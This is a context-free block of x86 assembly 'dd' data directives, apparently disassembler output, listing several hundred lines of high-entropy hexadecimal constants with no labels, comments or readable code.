		dd 6A6204D2h, 407AAB49h, 58FC6814h, 8BB39A65h, 4C2EBEA4h
		dd 0F1665C2Dh, 44C1732Fh, 95D3E6C0h, 6FF05070h,	8BB42058h
		dd 50E5A937h, 868A4878h, 0B402F394h, 58E7085Dh,	7BCD18C1h
		dd 4BE403A4h, 9C82CC07h, 90428F41h, 7D3F4ACEh, 0B67DFEB0h
		dd 93878DD7h, 6BE90B94h, 0C3E6F71Eh, 0FD21181Dh, 34E277E9h
		dd 61402E60h, 7AD095C0h, 0B39FC2FEh, 2D087C4Ah,	637CBABFh
		dd 19457552h, 7834E909h, 0DD70A295h, 3F01AD49h,	9A438CB0h
		dd 4685914Ah, 593259C8h, 516DE057h, 52501E52h, 0E31BC494h
		dd 0C28C2539h, 88E6538Fh, 0BA0176C0h, 363D09C2h, 18A25A60h
		dd 0C032918h, 0FC045992h, 0A86CE961h, 400641E4h, 0BAA4558Ah
		dd 0B84275Eh, 9C9562EBh, 0D794D870h, 0D0584048h, 39E4ECECh
		dd 8ABE8002h, 1AB1F098h, 404E3068h, 7E10CBB3h, 0E2800EAFh
		dd 6EC267C3h, 303BEA60h, 485A64D4h, 2C17BE07h, 58B649ABh
		dd 6841F3F1h, 682B567Dh, 1ABF5367h, 3B627D20h, 7008F2D3h
		dd 5CEF3981h, 626333E2h, 44F184E1h, 2C9B9907h, 0EAB77DD2h
		dd 0C9E9403Eh, 0B635EB22h, 0B9CE128Eh, 0D6F7891Fh, 1B8F0DFEh
		dd 164BCC31h, 0F326C3D3h, 0EFF5713Dh, 95A0CD1Fh, 812DBCD1h
		dd 6F1DBA0Fh, 349F31F9h, 0DE094F5Ah, 0EE425B8Ch, 0CE7FA43Fh
		dd 77FC8BDh, 550FABB9h,	28BFB157h, 0DF589F2Fh, 0B0EF834Ch
		dd 8305D747h, 0FCEDA341h, 0DD24A251h, 5B949B67h, 865D10C9h
		dd 0F6029448h, 1E07AA22h, 176DA075h, 8A1CCA0Fh,	0D3000709h
		dd 0D13147EBh, 2CE92F0Ch, 9EF7BB6h, 0E370FCCh, 7946D84h
		dd 0DF26FB31h, 0CF872508h, 0C8045DAh, 0DE65D2E9h, 94EEC641h
		dd 5509AB3Bh, 6B172AE0h, 900F32A7h, 5FEAE9E7h, 17C4B7B9h
		dd 17378037h, 7A9F1082h, 5F529019h, 0B87584FEh,	5F09131Fh
		dd 23684030h, 81729169h, 39E9CC88h, 7D6463F3h, 8F51F10Bh
		dd 67A25103h, 0AA76BF5Bh, 0A27B0C39h, 8609850Ch, 9553FF8Ch
		dd 0B90EB6E5h, 74BF1601h, 3E81BB37h, 3F8FB7DBh,	0EA9F68E6h
		dd 44B8015Dh, 0E9635C09h, 35E12459h, 0B4141A01h, 46E50561h
		dd 783023F1h, 9F111617h, 2581F06Bh, 0BB6F5400h,	3D4A351Ch
		dd 5A67589Dh, 0EBA45839h, 3A1E0200h, 6C5D730Eh,	63D095C6h
		dd 0A1F9C5B5h, 0FE90B94h, 38978278h, 0C95E46E2h, 4800FACBh
		dd 213F7CF2h, 0D1DB4A54h, 0EF876BE7h, 1B1C63EEh, 99AA84E4h
		dd 19092B88h, 8A831651h, 42FFD19Dh, 0E9D4BBC9h,	2528649h
		dd 0A17AF389h, 88D8ECFEh, 0EB4DBA7Dh, 963C49ABh, 0F39660B3h
		dd 38562958h, 0D7B1DD12h, 31BC480Ch, 0F3101C41h, 48A12B5Eh
		dd 2AAD4B75h, 62A6107Bh, 891D25BFh, 443E820Fh, 2FE85276h
		dd 69515BDEh, 3C18762h,	0E2B9EE01h, 0D9342FEAh,	0C69726C1h
		dd 2681A1ACh, 15BD0BC6h, 0BD2C94D5h, 8C0288Ah, 89047C9Fh
		dd 0DAC05DEFh, 4B1E2A0Ah, 24FE226h, 856D76BDh, 0A4B08427h
		dd 61CBAC0Eh, 0B60FE050h, 0CFE6C06Ah, 0B15120FEh, 35E95273h
		dd 0A320ADD4h, 0E0EB02A0h, 0F212553Bh, 77088282h, 2BA1C361h
		dd 505E6620h, 0F07AF95Ah, 8C5DB834h, 5E21619h, 277ED3F2h
		dd 3ED1C228h, 8C91B50Ah, 27C17B69h, 83AB5967h, 0ACE9D685h
		dd 0B36848D0h, 6FB5B643h, 62C118C9h, 4ACE725Ch,	0DCC27523h
		dd 1AB88AAAh, 0A54507B7h, 0D8B2D8C3h, 6887A498h, 2C34C25Ah
		dd 0DD72D8EAh, 203B7300h, 69CD814Dh, 0ACCC4E7Ch, 1207377Dh
		dd 50601651h, 15C5FCh, 89227202h, 0ED86E9E8h, 7C0399D3h
		dd 0DA6F0359h, 5DCDA788h, 28993064h, 0C98E67F8h, 0AFF7EB33h
		dd 0A74C64A7h, 0E2A2E5FCh, 44BF7348h, 360CC298h, 0D40B850h
		dd 58C72729h, 100BB68Ah, 4176FAFh, 0B0ECA9DEh, 7419E294h
		dd 2EC16596h, 0DE07B7F5h, 0C3EA0274h, 66B3111h,	7E01C278h
		dd 148750E2h, 0E9C312B4h, 0BDBD0229h, 6CA145BBh, 212D9F8h
		dd 0AB18B068h, 528AE949h, 9596E3ABh, 8FD1FB79h,	1968BB53h
		dd 0B8BD381h, 20AA205Bh, 7E3626Bh, 0F7925145h, 0AA9875BBh
		dd 56947357h, 251282B8h, 45CD8967h, 0DDF781FBh,	6F9E2EE9h
		dd 2E774FF2h, 70577Fh
		dd 42FC6B43h, 190E6C1h,	0C7E7F604h, 6980AD69h, 5BA4F98Bh
		dd 89A2B02Bh, 6E9F50Ch,	0D6FB9DE4h, 25F3E524h, 0F3DD20FEh
		dd 923BFF90h, 0CDCB034Fh, 0F0850h, 24AF52Ch, 7A2FE948h
		dd 0DDED459Ah, 18ADBEF9h, 68A95B43h, 6E671E78h,	0F03AD74Ah
		dd 5E5F54D4h, 54E732BDh, 519B851h, 57B685BEh, 0FE36C5h
		dd 6718C66Dh, 1764FBDh,	0AA9DE924h, 6FD42D81h, 50E83760h
		dd 96209E8Bh, 0C89EA138h, 787D0A58h, 405F0C40h,	0F877B1F5h
		dd 56F6912Dh, 28686173h, 95CC2F25h, 0C28A9710h,	0A65A135Dh
		dd 71E61338h, 5DC9C6FCh, 977C07h, 932D77D3h, 0ECBC0BD2h
		dd 0C427A24Eh, 5200C682h, 0F68023B6h, 75CECCF3h, 0C4B7531Eh
		dd 237EF4Eh, 558EE9FEh,	0BD0238Bh, 0D8FAD59Ch, 0BE5621A7h
		dd 4253F62Dh, 87D833E9h, 59565A2Dh, 9C7EAF61h, 2F20EA81h
		dd 54700C10h, 32F14001h, 0CA20C9BAh, 0A21998D2h, 0F2E5FDCBh
		dd 22FF6612h, 9CAB3823h, 4A083CFDh, 0CC28B088h,	0B99151BFh
		dd 0AE5893A5h, 4AF38C20h, 0E41F2454h, 12B55588h, 88E1A295h
		dd 0EA8E0EC2h, 0EA714FE4h, 791BCB2Bh, 68D8AB9Dh, 7C76E018h
		dd 6DABCF06h, 40CC07C0h, 0DA1DF7EFh, 0D61AF287h, 0E4990708h
		dd 8088D9B2h, 0C40E18A8h, 65F1F81Ah, 0D7055812h, 31E143CFh
		dd 0D0D7C1C5h, 6807402Dh, 89DD0AA3h, 76AFB3AEh,	5161D2BFh
		dd 3C3D6AD4h, 0A043F446h, 7C68EA20h, 8F3C9196h,	0B720B450h
		dd 0C0C780D1h, 0B3BE92Dh, 9D1670BDh, 0DF6943ECh, 0D4058199h
		dd 0D9FB8707h, 0C97F1BDCh, 0BB026B93h, 0FF8BB085h, 0F7D9A4C9h
		dd 0BD21A0BDh, 0B1068016h, 0CBECBE1Eh, 91C15DC4h, 7707B9D8h
		dd 5F537F29h, 85F017F4h, 88DEA8FAh, 0E07E0A14h,	4D898C4h
		dd 571F2A05h, 0A969A91h, 0DCB2D052h, 0BDEE5450h, 5BE9B122h
		dd 0A3620AF5h, 0DDD5F973h, 4870E33Bh, 5F6C077Eh, 0D7F37C3Eh
		dd 0D57B3BF2h, 90A6FD97h, 8563ED68h, 85F00F4Fh,	106DFA31h
		dd 78DBAEE9h, 0A768C109h, 8A00B030h, 0EE088094h, 80596601h
		dd 0F1886BC6h, 0F65BD41h, 6CF6C1ADh, 4A9D6884h,	0D8C782A8h
		dd 8661D738h, 3A2734D7h, 4E0A54B7h, 111E9D14h, 0FB22270Bh
		dd 2C018121h, 0C8E05907h, 1351B7B5h, 0AABF5740h, 77C3242Ah
		dd 30DA0382h, 0EFB07131h, 0C72E7F11h, 0ED02276Dh, 5E0A2BBBh
		dd 28DC278Dh, 9D721471h, 0D69B8425h, 0C5B52970h, 92DE2D0Bh
		dd 99BBE9F0h, 8C822FC6h, 5E0B5806h, 0E848281Ah,	5F0D24CBh
		dd 0EECD1329h, 1E030D00h, 0D631854Ah, 809C2512h, 423A5202h
		dd 41224C0h, 4AE92F95h,	58B80BCCh, 0E942C653h, 4C6AD059h
		dd 87109550h, 0FE052D86h, 805B9D8Fh, 317B22B8h,	0D64F64E9h
		dd 0E5C022FCh, 12A6E32h, 5A04EDECh, 45604C4Eh, 34F561C4h
		dd 920351EEh, 66E70250h, 11D16427h, 40860D80h, 4FE96BCCh
		dd 8869C1D1h, 2FEBC9D8h, 7F67CE4h, 80DD86D3h, 0EDC060E5h
		dd 0CD03FE05h, 2887B252h, 0A83C25D5h, 0D42A8ECCh, 0C0BF5A68h
		dd 9F94F5C5h, 9221EEDBh, 0BCBDC4Bh, 0B12013E9h,	1DD23548h
		dd 76066525h, 0A50D0836h, 1447BD03h, 0EA89C105h, 81DDE672h
		dd 0BB309EE2h, 0A0686046h, 5EEF4C2Fh, 178902D0h, 3000548Dh
		dd 5234357h, 0BEE9E6D1h, 4A9CEBD0h, 0C7099FA7h,	0F64A1453h
		dd 0D378EA02h, 69C05D6Eh, 7EFD30D6h, 17D8AF80h,	3889059h
		dd 6133D2F3h, 34764B2Ch, 42F72302h, 0D56AE0E9h,	677794BAh
		dd 1C878BC0h, 9497DC14h, 0EF6815ACh, 0E84E5C49h, 52BFD319h
		dd 0D46A084Fh, 47620503h, 4AB844Ch, 0EFA3EFF7h,	6B827675h
		dd 0C25B0464h, 73D47AF0h, 676853E0h, 6998316Ch,	4D6B124h
		dd 9236D7BFh, 0C455DA89h, 0F5EF4F8Bh, 3E5321FCh, 59E9C3C8h
		dd 68121F17h, 1831E34Bh, 103FFBBh, 0C861B7DDh, 0B0F87005h
		dd 9561509Fh, 846CB982h, 0B449C609h, 0AFD6881Bh, 94A6602Fh
		dd 0D53C5163h, 107D4F41h, 4BE25460h, 7DA2F317h,	9BF43841h
		dd 5465B7C7h, 3785F616h, 0A4ECD1EFh, 6E046F66h,	821818CAh
		dd 5BB065B3h, 0CFF09D8Ah, 51C1BE30h, 6243C0F7h,	0C9C8246Fh
		dd 2CAF5B05h, 0B340A3F9h, 0BE569529h, 0A45C3703h, 0B56EF127h
		dd 45D5617Fh, 81B36D04h, 0D6E3E952h, 5ADAA72Ah,	5639B797h
		dd 9A2870BFh, 0C86880h,	580CD915h, 0DE1169BEh, 0C601F91Eh
		dd 0D8D1BD03h, 0F5101E48h, 99EBD75Eh, 28A108FEh, 5859EE25h
		dd 9A03BD77h, 80552D6h,	0F8ED80A4h, 125D4C83h, 612C5A73h
		dd 7B64B16Fh, 0E90915A3h, 0A3C55E84h, 0EA528517h, 404EA0A0h
		dd 0F74A298Ah, 0EA55A423h, 4CE4F0E4h, 52186887h, 78927997h
		dd 1D9669Dh, 0C43A28BBh, 0AD2CBE15h, 25FEFE0Bh,	63B0A7C4h
		dd 0D02F10C5h, 0D67B30FAh, 347DF367h, 237BA26Ah, 3257503h
		dd 0FA2AD9B9h, 68099A33h, 17D13729h, 57BB8E96h,	0D3C3BDDBh
		dd 0F3F6E204h, 8453590Bh, 0F075EF00h, 4F44E93Ch, 5899F2C8h
		dd 6AFC4E46h, 0B209EEA5h, 8F578003h, 9002AD4Ah,	7EE99FB3h
		dd 73CC4101h, 0EC007D2h, 0F885618Ch, 2D5F02F9h,	422A3CEDh
		dd 7F8885Fh, 0AE161126h, 705A5C92h, 70969D95h, 0FE790E94h
		dd 2B100D2Dh, 0EB891354h, 0FC3FC38h, 12100B35h,	4D4BEB80h
		dd 1507DC0h, 0EE4F83D2h, 0F8E115F8h, 0E04B3BA5h, 8F5FE04Eh
		dd 5E058094h, 28BC4F01h, 8537832Dh, 56015FDEh, 2F75E1E9h
		dd 9707D3D8h, 3C79D35Ah, 816CC79Fh, 7ECB850h, 0CB727034h
		dd 23B145C7h, 5DAEFE72h, 5C09A416h, 0DD492F68h,	33FF6CB2h
		dd 5C5FCA16h, 6AE9F05Bh, 9A8E15Bh, 38C451CBh, 0CD4F67FEh
		dd 5EBBE256h, 79E5CC28h, 0AA9CEE17h, 1E9D41AAh,	22E91BC1h
		dd 3CB33564h, 683B96F8h, 6377B624h, 41555662h, 23EC3C30h
		dd 0C1470353h, 29E905EFh, 0B9053EE6h, 60A82FDAh, 0F9D72982h
		dd 40A5BC11h, 0BE68AD02h, 9347C6F7h, 0F6DB3C6Ch, 0FDAC6BAFh
		dd 0C80C882Ch, 6ACD4B16h, 0C81C4B16h, 70E28596h, 575ABF2Dh
		dd 4FF8292Ch, 0BDC0F117h, 1F1BE12Dh, 870553A0h,	0F3A73011h
		dd 9315E7C3h, 0B4D67125h, 0B84D3B9h, 0CBC1478h,	168360ACh
		dd 626EB663h, 807DE5C1h, 0DDABA28Fh, 0E9012F07h, 6C690771h
		dd 5202E9ABh, 5ED53540h, 0D2E38283h, 0D6D42072h, 0F0C558BDh
		dd 9785B74Ah, 7C9DC05Fh, 305A2476h, 0CF644F0h, 61AC2845h
		dd 0F00E680Ch, 92E939B1h, 0BC26CE4h, 91048619h,	9A9063F0h
		dd 0C822025Ch, 0E9D12582h, 0DD40F6A0h, 2DB3945Ah, 0F5F87DF8h
		dd 0A1F40E4Eh, 29C5161Ah, 7594BC8Bh, 5AFBD765h,	0F0048F52h
		dd 8DBA521Dh, 41EE510Dh, 876800F1h, 6197BE2Fh, 0F0B43680h
		dd 0A3023540h, 291B7826h, 180075C3h, 50B16406h,	3AED7480h
		dd 30ACF3ABh, 0FF10ADBFh, 46A6D129h, 2D171E97h,	0FBE0FDE9h
		dd 0F417BBBDh, 59E0D4FAh, 0A0F95225h, 323D380Bh, 0F8C54484h
		dd 2C285FE5h, 21F52568h, 0A16961D9h, 2BA52E3h, 0BEC68110h
		dd 23CE0D14h, 5E251CAh,	3368BE08h, 2084EE9h, 40478F98h
		dd 512EE1h, 0C2D6852h, 5A708203h, 301D90B2h, 0EA81168Dh
		dd 501B145Eh, 2E30E12Ah, 39105AB4h, 0E90BA11Dh,	9ED68FBDh
		dd 0D5E089C2h, 0B5F3896h, 0DA871605h, 98AEDE84h, 514F271Fh
		dd 8AA37867h, 0CB144F7Eh, 5A384928h, 71409B9Dh,	48A30C72h
		dd 76286940h, 82EA0106h, 1356E36h, 834A0F2h, 0DC71E916h
		dd 7213F556h, 21A562BAh, 0D620ECF2h, 0AFE9D250h, 7BE94D3Ch
		dd 40F8BE3Dh, 8EAC15Ah,	0D45768B7h, 652A1C7Dh, 0BD7C56E9h
		dd 8F02D2D8h, 0DF23AE75h
		dd 3140FA62h, 0D726837h, 83A9495Bh, 1F60E5C0h, 0C81209C5h
		dd 15E05659h, 2FCF253Bh, 0AACD2BC0h, 26FAE588h,	5BD80Fh
		dd 477561F5h, 12CE91Fh,	6C4795F3h, 8859CB00h, 0AC5B5BD8h
		dd 99E9C2FBh, 582977D3h, 0B38B2EFFh, 7B9555FFh,	13A35F10h
		dd 61AA9B68h, 7A7851DCh, 0B82A62CDh, 87445BDEh,	0C9EB130Bh
		dd 2222802Eh, 6873CC10h, 0C51BF7Ah, 0EAC05096h,	0E237649Fh
		dd 0D001F78Bh, 8D212A82h, 550087A0h, 77056851h,	59716131h
		dd 0E2DEA240h, 5BE9A499h, 8047D5F3h, 203992E3h,	93CF013Eh
		dd 0A3369A16h, 83250B20h, 9062A58Fh, 33BEBC61h,	197201ACh
		dd 464E5D8Ah, 91CC18F8h, 657BBC5Dh, 0C2D39FBBh,	6605AD10h
		dd 0A78416ECh, 0B621AE4Fh, 60E533E0h, 7919CF88h, 8084D42Dh
		dd 9D5749Bh, 4BFE1C4Fh,	2702D159h, 0A5C85BD8h, 900BFDD0h
		dd 0FCF3B652h, 0C8280743h, 5966722Ch, 5380D445h, 0E7C05AB7h
		dd 0CF800708h, 2B6568F1h, 0C31E1E5Fh, 88D3B6E0h, 665C25h
		dd 0E0B21EFAh, 139E4EE9h, 0D013BF85h, 0C15C4FBBh, 85355DD2h
		dd 0BA2816C3h, 677A41Dh, 0A763F9E9h, 6814A458h,	1693BF4h
		dd 8814B050h, 329B58C1h, 4C754E94h, 62FAD9BDh, 0BDC95AE9h
		dd 0C792D8ADh, 2A45E495h, 20C13CD3h, 0B91F4EE6h, 0B801BCAh
		dd 6ED7F181h, 0BD26509Ah, 7E601680h, 0B460015Ch, 7F1C255Eh
		dd 0F4E9BDC1h, 3C803374h, 0DA129FCBh, 83E094AEh, 4CD2510Ch
		dd 7F2DABC8h, 0E622EB05h, 9308C521h, 0CD8101F8h, 300224D3h
		dd 17C965ADh, 4FDCCC59h, 5F25B679h, 668897CDh, 0D425BDA4h
		dd 0B50165Eh, 9B5BE653h, 0C6C2D4ADh, 709BFD68h,	7A4FDDA4h
		dd 0C285561Fh, 0D2048A73h, 5F45E6A4h, 588F614Eh, 0A3C1252h
		dd 694C43F8h, 95C1F31Ch, 0D316B18Ah, 0BF027110h, 137A7CFh
		dd 5025265Eh, 0DFD0BD30h, 14785327h, 0AE6B9F75h, 0EC52D5FCh
		dd 7C552D4Dh, 0A51E9B6h, 0B977D29Dh, 0BB064D14h, 892E2F1Ch
		dd 0DE10D8D8h, 0F63CB500h, 0B9F580D5h, 49F0285Bh, 8781C46Ch
		dd 8B7C6FDh, 2780DA0h, 0E9126E09h, 7FDFC207h, 45BF35B6h
		dd 65DB2571h, 4391053Eh, 0C1EA33A6h, 6A0A1FEEh,	82F09B26h
		dd 0F15EBFh, 251F2B91h,	45006205h, 535279D9h, 82E56DE9h
		dd 6CBF1E78h, 6C4C5D57h, 347B5825h, 8122E961h, 0AAC562Ah
		dd 0AC9A4F1Fh, 92E60047h, 0F089C17Eh, 0A9412CB8h, 33BB812Ah
		dd 6AF46695h, 0D6A5829Ch, 9955A5C5h, 0B2BC513Eh, 7DD38827h
		dd 6728E4ACh, 9DEFD620h, 0C2278102h, 0FDC78001h, 4A7C127Dh
		dd 0F6DA8083h, 0EE3EC0D6h, 0D169AD04h, 3D54A4D7h, 8D206D58h
		dd 71E25C4Bh, 144CE01Ah, 84D4CFF7h, 60FCEE9h, 453AC884h
		dd 35C541C3h, 936028B9h, 0FC3C4409h, 0CC46628Eh, 0B9456603h
		dd 0A27FC075h, 885A8037h, 54E95822h, 0E85DC1DFh, 2C9E0BE3h
		dd 147C7411h, 0B0C970Eh, 67245F64h, 0B11FE8CFh,	5900EE80h
		dd 660FD030h, 8AC7205Ah, 78A496C9h, 64031524h, 0E9CA0169h
		dd 1B8FFDBEh, 396BD0CEh, 6AEE6F80h, 5648A91Ch, 27062048h
		dd 0E0590C68h, 28FB80A0h, 0CBE84A83h, 0B07492EDh, 0C102C8B3h
		dd 0C8310AE8h, 0C559F886h, 0B5A80EEAh, 2C1D472Dh, 0C340434Dh
		dd 5F60526Ah, 67322768h, 43FAC266h, 8106F518h, 0E70D25B6h
		dd 0D22587D5h, 1CF0D061h, 0F0D9AA73h, 12F67565h, 0BC1B9A4Ah
		dd 0E8F05F95h, 684B40D1h, 0FC735D2Dh, 6687C1BDh, 114730DCh
		dd 0EC4B8D40h, 0A7995E10h, 63EC626Fh, 0C399DFB7h, 2D5568B1h
		dd 3DD25B58h, 614E1549h, 9B8873h, 3329D9BEh, 0DDB23FB7h
		dd 0F1890D0Ah, 2126E45Eh, 815DF250h, 658BD8ACh,	66C2799Eh
		dd 0BDD30B9Ah, 0B204520h, 261AB5A0h, 0E507BE87h, 1099169h
		dd 8DD82AF7h, 294BD3Ch,	2B96B62Ch, 535F0B40h, 14B9C50h
		dd 298FEFEEh, 0D6D13E89h, 5BA7D0C1h, 470B6554h,	0D15219Dh
		dd 5DF21143h, 0C7839214h, 2C1366E0h, 5A1BD0F2h,	107FC731h
		dd 0BB07444h, 0E440166h, 0B81ACBBh, 487F7C51h, 842C7157h
		dd 0CBFE826Bh, 84FFDBF6h, 0F312EFFDh, 5C0D6046h, 26E9F9F6h
		dd 414CB6F8h, 30FA88EEh, 0E47EB058h, 0F97EE125h, 0F9F78986h
		dd 2CDC5D83h, 2EEC50F9h, 0DEECFFC9h, 0AE98315h,	0FE992BCDh
		dd 0B7C832E8h, 92F74F48h, 7D120DD3h, 530453FBh,	16D6F37Dh
		dd 0A90B8959h, 9C77E21h, 0B6FDF308h, 6BE92A30h,	8A525182h
		dd 0C154F27Bh, 12C677A4h, 0FDA8509Ah, 6087E275h, 0A478238h
		dd 0CA296DFEh, 957E2D3Fh, 5FA3E0A5h, 814D26E7h,	370E05A0h
		dd 0B269802Eh, 1B48AE70h, 9E9F11FDh, 604A1110h,	9A39E05Ah
		dd 0F5C1F77Eh, 0F355306Fh, 2BEBBB37h, 0F11AD2F9h, 3A8915F2h
		dd 197A25Dh, 535E0174h,	0AFE42B68h, 4FF9E65Bh, 4E19F24Bh
		dd 2CE30337h, 0C41D4ADEh, 8A54ABFDh, 9C904BB5h,	5F6B685Eh
		dd 88793506h, 0DA162948h, 9640D7E9h, 0CB1B36BEh, 38F89D1Fh
		dd 514F13FAh, 0EED3D8BDh, 4990D721h, 0FA6AF312h, 5C799382h
		dd 7055EC44h, 69C334D1h, 6B29D440h, 0B2D9EC4Ch,	0BF11BE05h
		dd 550CD16h, 293B6AB4h,	0B5BAFE0Ah, 0D327F340h,	3BA09871h
		dd 259B057Ah, 0A9730E41h, 0BCE1C133h, 0D8F7DD5Bh, 0FDDD657Bh
		dd 3670FF30h, 0E6D8C380h, 61765EBh, 6697AFEEh, 0E5D3075Bh
		dd 27CEEDE3h, 0FAC1C71Ch, 0E9248564h, 72E9A034h, 8BFDAC5Ah
		dd 51E3E4DAh, 68E09151h, 73BF9E71h, 655DC6B2h, 0E3E989D0h
		dd 0D968DCA1h, 2276660h, 3D5749C0h, 0BD1741D1h,	3DEC33A0h
		dd 0EF5D89CDh, 53D8C90h, 588F9B10h, 66022C22h, 5B129010h
		dd 18A5BC09h, 68B5F644h, 854514BFh, 0E107D615h,	3E93475Dh
		dd 163AE9C0h, 8930AF51h, 0CFC51ECDh, 80465B52h,	9655E616h
		dd 0EF04307Ch, 0DCD5E73Ah, 914AC7EAh, 3F4C58EDh, 401BE9F0h
		dd 0DF0FB896h, 492E1E20h, 8D0A7436h, 2E0A485Fh,	38C57FE7h
		dd 100FE9C9h, 592F67D0h, 94879AA2h, 21C36801h, 1F7CCC3Eh
		dd 41F366FFh, 0A422F504h, 81BFC67Bh, 653A3560h,	10BE5429h
		dd 160C6C29h, 0BA5B845Ah, 23E24395h, 0EAD2F784h, 2FE9A67Ch
		dd 45F209DEh, 0FBCFB60Fh, 24276BF7h, 6A258B2h, 749E2A98h
		dd 0C3A95Ch, 6F262FEDh,	0A3C583EBh, 51D4EDA2h, 7FC64DE9h
		dd 2C9FE37Ch, 5EFB2EB8h, 6C51996Dh, 7B09108Ah, 3B7DE15Ah
		dd 74A3CF0Bh, 0D3770858h, 6C0A8B0Bh, 0A9565A5Ah, 41578B6Bh
		dd 0C33F96FFh, 0D9035A1Ah, 404DDCBAh, 7372D106h, 2A1AB36Ah
		dd 13FC5C7h, 0DFC093CDh, 1692B5F3h, 48234908h, 0F780EE7Ch
		dd 29EF35D0h, 16F2F51h,	0F45BF256h, 0F7F700AAh,	49D3CCB6h
		dd 8CFA8924h, 74FB7417h, 0B0C1BF78h, 882E7219h,	0FABFBE59h
		dd 0F262977Bh, 0F627785Eh, 0E361CECCh, 683B5B68h, 0F9D0C448h
		dd 28E22C01h, 0C41290F8h, 279E9326h, 6FB0B353h,	48A674CAh
		dd 0F604020Ah, 0FE333F40h, 9C78C493h, 0D4221213h, 9164EA23h
		dd 807A87EAh, 0BFE96E0Ch, 16806440h, 1730C9F1h,	2D16FA8Ch
		dd 17722BB8h, 0EB5C0416h, 5A1C861Dh, 7EBFCD6h, 6BB652A0h
		dd 146A1204h, 0B3ED4FFBh, 92E2EC4Eh, 0EC08742Dh, 97A44056h
		dd 35F93139h, 0C0B808CFh, 16848CC4h, 412053B0h,	455E7E86h
		dd 57804A56h, 0BD6AAA68h, 0CEC2F1F1h, 2945A59h,	68C8B70Fh
		dd 0AF14E96h, 20462C88h, 1080BA9h, 0A27234EDh, 5B6B0697h
		dd 3AA54126h, 7F5CD528h, 638AB2D2h, 2D484D06h, 3CB80CB0h
		dd 250BF4B0h, 50C62B8Dh, 0A730B523h, 0FD0F0812h, 0E7E58109h
		dd 0E22B630Bh, 5D3782CCh
		dd 95E7199h, 34FC5452h,	70E5E9C2h, 54F19767h, 0F8840952h
		dd 0D170A17Fh, 5DB5A72Ah, 0B69F2AEAh, 6EADB806h, 4188276Fh
		dd 38376A88h, 7D97EBB5h, 826752FCh, 5571C2D5h, 605EC32Bh
		dd 0ABE3BE17h, 5521650h, 0D162703Bh, 0A71380EFh, 3158381Dh
		dd 0F6012740h, 72365020h, 0F5016BDFh, 44506FA1h, 0B9D5E960h
		dd 0A874A5B9h, 2BA5914h, 47230727h, 99046396h, 2D4028E9h
		dd 25559BF3h, 297D1F8Eh, 1DD5E64h, 30C4AD8h, 9628D005h
		dd 0B2356C01h, 5018C375h, 8C21BAADh, 3F6481E9h,	4CA80B47h
		dd 5CBC8592h, 46C482C3h, 0B1600E9Ch, 0CD1D6695h, 14AC0151h
		dd 0E9180820h, 0C333E8E2h, 0E4351277h, 5DD3011Dh, 70215138h
		dd 65EE917Bh, 0E827858h, 56350AB2h, 0A9F4EF0Bh,	63A477DCh
		dd 0B581AE29h, 5F669226h, 890B058h, 4193AD5Bh, 49A57B08h
		dd 9C055860h, 312F3FA5h, 90A7DAF9h, 9D5FF862h, 50612B9Ah
		dd 13310366h, 2DC2011Ch, 2F696B4h, 66F978BAh, 8BA51B5h
		dd 76254F90h, 304B4F64h, 35530E2Bh, 5F53A331h, 2CFE8F60h
		dd 0A51A02E9h, 0CE01FA5Eh, 6C117220h, 5ADCF6D9h, 92F4E73h
		dd 0E0B914Dh, 7CC87502h, 590CCF66h, 837198E9h, 8B5F4AF9h
		dd 0CB581027h, 0AAEE047Eh, 0C24CBF19h, 0F1553830h, 48BE8524h
		dd 24E9BC1Ah, 91A258EBh, 74082B85h, 53C12DBDh, 0A30405C9h
		dd 0F314D637h, 16FCC350h, 1651B770h, 0ABED05CAh, 0ED9CEB84h
		dd 77F52768h, 8FA45A51h, 4213DF0Dh, 0A42E320h, 5BDE317Ch
		dd 56DB058Fh, 296849Dh,	0CE97E98Fh, 0AF05B9A4h,	9EB4B3D4h
		dd 0A32FF3E0h, 0B1AD5D5h, 82E21596h, 82B94FEAh,	5DB586Ah
		dd 15EC057h, 59177165h,	909EF89h, 0BFF2686Fh, 0B762E49h
		dd 0B0DF179Eh, 7225590Ah, 0A6A05D53h, 0EC2767EFh, 0E20C2E60h
		dd 0B2BC603Ch, 481D20E1h, 0A6C0093Bh, 5C874FD8h, 95F2E1F6h
		dd 0E10D5C6h, 507B5556h, 68C17126h, 2F9C442h, 0CCD5C9FEh
		dd 6CB00E81h, 0F957C180h, 0C004636Ch, 0B43D4A98h, 1FBBF1B4h
		dd 0BE9C105h, 41C5A9C8h, 8448984Ch, 2888A640h, 0EECB59C8h
		dd 37854A9Bh, 6D82924Eh, 68420676h, 16B7B84Bh, 26440031h
		dd 7CDBE981h, 29314D3Ah, 465A4EF9h, 96F43DA7h, 2DC8D85Bh
		dd 0D02109F9h, 0EF39594Dh, 0E334354Eh, 0B6B6BADCh, 3B093C88h
		dd 7AE57556h, 0E600AE24h, 522EA30Ch, 596317BAh,	53430A05h
		dd 97B18B85h, 0DA664287h, 0D4F34493h, 0E4E8FC03h, 589E0EDh
		dd 3E1F1B02h, 78008FFh,	8109DF26h, 0F7B4EBAAh, 0BBFF73Fh
		dd 0A5F03A2Ah, 0BBA4ABBBh, 4B742902h, 0BAA8801Ch, 0B032FD35h
		dd 81549CB7h, 45483DC5h, 0ECB13B80h, 0D32F813Bh, 0CD2183DDh
		dd 10247DFDh, 75AB2836h, 8541F524h, 75736884h, 821709A3h
		dd 1072CAC0h, 5C2D89E5h, 42B3A133h, 26A92F5Eh, 25AE694h
		dd 0B765E915h, 4113A7DFh, 0FA75700Eh, 1F605999h, 26902724h
		dd 0F025491Fh, 0E7CBFF2Dh, 0F34F7D58h, 778F8F54h, 0A8D464A9h
		dd 65723E12h, 2A78E263h, 88168471h, 1855AF4h, 80E21D22h
		dd 0B65BB881h, 87D3A116h, 5EED8100h, 0F069A20Fh, 25569F29h
		dd 535AE94Bh, 0EADD1347h, 2BC8A665h, 8DB55B62h,	0CC5C48ABh
		dd 18776E4Fh, 6E85FCFBh, 672968E2h, 0A2FDBFA2h,	2D6418FCh
		dd 483FA1BBh, 8841CE5Eh, 798BE47Eh, 0B5B4512h, 46220D01h
		dd 0D2BB121Dh, 0D90EDB09h, 0AEBAD304h, 0F55EB928h, 0E8F38001h
		dd 5B5AD830h, 7BB6928Ch, 665BBD82h, 0BF685243h,	9914639h
		dd 173256B1h, 0DAD6E06h, 0E4EED09Fh, 0D4FFF5C2h, 0FEC47DFDh
		dd 1C41A8CDh, 0E8036FEDh, 2EFB8E9h, 0C4DBC629h,	0C1F8AF1Ah
